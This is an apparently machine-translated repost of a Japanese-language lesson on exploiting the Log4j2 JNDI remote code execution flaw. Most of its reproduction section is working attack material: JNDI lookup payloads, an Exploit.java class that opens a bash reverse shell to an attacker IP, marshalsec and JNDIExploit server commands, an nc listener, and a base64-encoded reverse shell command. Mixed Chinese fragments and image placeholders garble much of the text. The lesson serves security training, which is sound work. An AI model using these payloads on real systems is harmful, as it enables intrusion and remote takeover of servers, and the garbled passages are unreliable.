ネットワーク セキュリティの詳細な学習レッスン 4 - 一般的なフレームワークの脆弱性 (RCE-Log4j2 リモート コード実行)


1.log4j2

Log4j2 は世界中で広く使用されている Java ロギング フレームワークであると同時に、この脆弱性は世界的に使用されている多くの一般的なオープン ソース コンポーネントにも影響を与えます。


2. 背景

------ 2021 年 11 月 24 日、Alibaba Cloud セキュリティ チームは、Apache Log4j2 リモート コード実行の脆弱性を Apache 担当者に報告しました。Apache Log4j2 の一部の機能の再帰解析機能により、攻撃者は悪意のあるリクエストを直接作成し、リモート コード実行の脆弱性を引き起こす可能性があります。

------ 2021年12月9日、国内の多くの機関がApache Log4j2に任意コード実行の脆弱性を発見し、関連状況を緊急報告しました。由于Apache Log4j存在递归解析功能,未取得身份认证的用户,可以从远程发送数据请求输入数据日志,轻松触发漏洞,最终在目标上执行任意代码Apache Log4j 自体には複数のアプリケーション コンポーネントが関与しているため、この脆弱性の脅威レベルはクリティカルに調整されています。


3. 影響を受けるバージョン

Log4j2.x<=2.14.1


4. 抜け穴の原則

  • 構築されたペイロードは次のとおりです:
    ${jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp}

------ この脆弱性は、Apache Log4j2 の一部機能の再帰解析機能に起因しており、認証されていない攻撃者が特定の悪意のあるデータ パケットを送信することで、ターゲット サーバー上で任意のコードを実行する可能性があります。

------ Log4j2 コンポーネントがプログラム ログ レコードを処理する場合存在JNDI注入缺陷、無許可の攻撃者がこの脆弱性を悪用して、注意深く構築された悪意のあるデータをターゲット サーバーに送信し、Log4j2 コンポーネントの解析欠陥を引き起こし、ターゲット サーバー上で任意のコードを実行する可能性があります。 . ターゲットサーバー上の権限を取得します。


5. LDAP と JNDI とは何ですか?

------ LDAP の正式名称は Lightweight Directory Access Protocol で、単純にデータを格納するデータベースとして理解できます。

------ LDAP は 1 つあり客户端和服务器端、サーバー側はリソースの保存に使用され、クライアント側は主にクエリやその他の操作に使用されます。サーバーはマイクロソフトのADなど大手メーカーの製品ばかりですが、もちろん自作も可能です。クライアントは、LDAP プロトコルを通じてサーバーにアクセスします。

------ JNDI (JAVA NAMING AND Directory Interface、Java Naming and Directory Interface) は、Java で LDAP にアクセスするための API で、Java プログラムがネーミングサービスやディレクトリサービスにアクセスするために提供される統一 API です。

------以上payload ${jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp}です相当于ldap通过jndi来提供服务xxx.xxx.xxx.xxx は LDAP サーバーの IP アドレスです。LDAP サーバーはデフォルトでポート 1389 を開きます。Exp は存在しないファイル名です。端的に言えば、Java の JNDI を介して ldap プロトコル サービスにアクセスすることです。


6. 脆弱性の手動再現

1. DNSlog を使用して脆弱性が存在するかどうかをテストします。

DNSlog でドメイン名を取得します: dfkemb.dnslog.cn
ここに画像の説明を挿入します

burp でペイロードを構築し、
${jndi:ldap:// dfkemb.dnslog.cn:1389/Exp} を再
ここに画像の説明を挿入します
送信し、返信パケットを echo 400 に追加します。これは、ペイロードがフィルタリングされていることを意味します。 URLエンコードして送信します。

DNSlog に戻って確認すると、
ここに画像の説明を挿入します
脆弱性があることがわかります。

2. 悪意のあるファイル Exploit.java をロードし、クラス ファイルにコンパイルします。

コンパイルには javac を使用しますが、これには Java バージョンが必要です。Java バージョンに適用される jdk バージョン: JDK 11.0.1、8u191、7u201、6u211 以前
Exploit.javaの内容は以下のとおりです。
ここに画像の説明を挿入します

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
    
    
	static {
    
    
		try {
    
    
			Runtime rt = Runtime.getRuntime();
			String[] commands = {
    
    "bash", "-c", "bash -i >& /dev/tcp/192.168.188.177/1234 0>&1"};
			Process pc = rt.exec(commands);
			pc.waitFor();
		} catch (Exception e) {
    
    
			// do nothing
        }
    }
}

javac を使用してコンパイルします。javac Exploit.java は、
ここに画像の説明を挿入します
コンパイル後に Exploit.class ファイルを生成します。

3. Webサービスを開始する

python3 -m http.server 80
ここに画像の説明を挿入します

4. 悪意のあるファイル Exploit.class が存在するディレクトリで LDAP サービスを有効にします。

悪用ツール: marshalsec-0.0.3-SNAPSHOT-all.jar

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.188.177/#Exploit" 9999

ここに画像の説明を挿入します
この手順は、攻撃マシンをサーバーに変えることと同じで、ターゲット サーバーがクライアントとして攻撃マシンにアクセスできるようにします。

5. リバウンドシェルのポートを監視します。

nc -lvnp 1234
ここに画像の説明を挿入します

6. フロントエンドに戻り、被害者が LDAP ポートにアクセスできるようにします。

ここに画像の説明を挿入します

最後に、リスニング ウィンドウに戻って、
ここに画像の説明を挿入します
シェルがここで正常にリバウンドされたことを確認します。

7. 要点のまとめ

  • 上記のステップ 2、3、4、5 はすべて攻撃者側で実行され、ステップ 6 のみが通常のフロントエンドで実行されます。
  • 上記では、80、1234、9999 の合計 3 つのポートが開かれています。これは、Web サービス、受信リバウンド シェル、および LDAP サービスに対応します。

7. 脆弱性ツールの再発

1. 使用ツール: JNDIExploit-1.2-SNAPSHOT.jar

ここに画像の説明を挿入します
-i是攻击机所在的IP,-l是LDAP服务开启的端口,-p是web服务开启的端口,-u是攻击后payload的使用方式。

POC:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -l 1389 -p 8888 -i 192.168.188.177
ここに画像の説明を挿入します

使用されているペイロードを表示するには、-u を使用します
ここに画像の説明を挿入します

フロントエンドでリクエストを送信するペイロードを選択します。
ここでは ldap://null:1389/Basic/Command/[cmd] を選択しました。
ここに画像の説明を挿入します

2、使用工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

POC:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xNzcvMjg4OCAwPiYx}|{base64,-d}|{bash,-i}” -A “192.168.188.177”

その中には、リバウンドシェルコマンドがYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xNzcvMjg4OCAwPiYxあります。bash -i >& /dev/tcp/192.168.188.177/2888 0>&1Base64エンコーディング

上記の POC では、被害者が 192.168.188.177:1389 にアクセスできるようにし、LDAP サービスを有効にして攻撃を終了し、シェルをアドレスとポート 192.168.188.177:2888 にバウンスします。

以下に示すように、
ここに画像の説明を挿入します
被害者がアクセスしたい POC は ldap://192.168.101.130:1389/ayox8z です。


8. まとめ

------ Log4j2 の脆弱性は一般に次のとおりです。 Log4j2 はデフォルトで ldap/rmi プロトコルの解析をサポートしており (出力されるログに ldap/rmi プロトコルが含まれている限り)、対応するデータを ldap サーバーから取得します。 Class ファイルを名前で指定し、ClassLoader を使用して、LDAP サーバーから返された Class クラスをローカルにロードします。

------ Apache Log4j のリモート コード実行の脆弱性は、コンポーネント内の Java JNDI インジェクションの脆弱性が原因です。プログラムがユーザーが入力したデータをログに記録するとき、攻撃者は次のように構築して Apache Log4j2 のリモート コードをトリガーします。特別なリクエスト 実行の脆弱性、これを利用してターゲット サーバー上で任意のコードを実行できる可能性があります。

------ jndi を使用して ldap サービスにアクセスした後、ldap サービスはクラス攻撃コードを返し、攻撃されたサーバーはその攻撃コードを実行しました。リモート コード実行の脆弱性は、Log4j2 を使用してログ内の「${}」を解析して実行し、攻撃を実行します。

------ 簡単に言うと、Log4j2 はデフォルトで ldap/rmi プロトコルの解析をサポートしているため、ldap サービスにアクセスするために Java に jndi インターフェースが存在し、通常のサーバーが ldap サービスにアクセスすると、クラスを直接解析します。サービス内のファイルをフィルタリングせずに保存します。攻撃者はこれを利用してクラスファイルに悪意のあるコードを書き込み、通常のサーバがLDAPサービスにアクセスすると、悪意のあるコードが含まれたクラスファイルが解析されて実行されることで攻撃を受けます。


おすすめ

転載: blog.csdn.net/p36273/article/details/132921338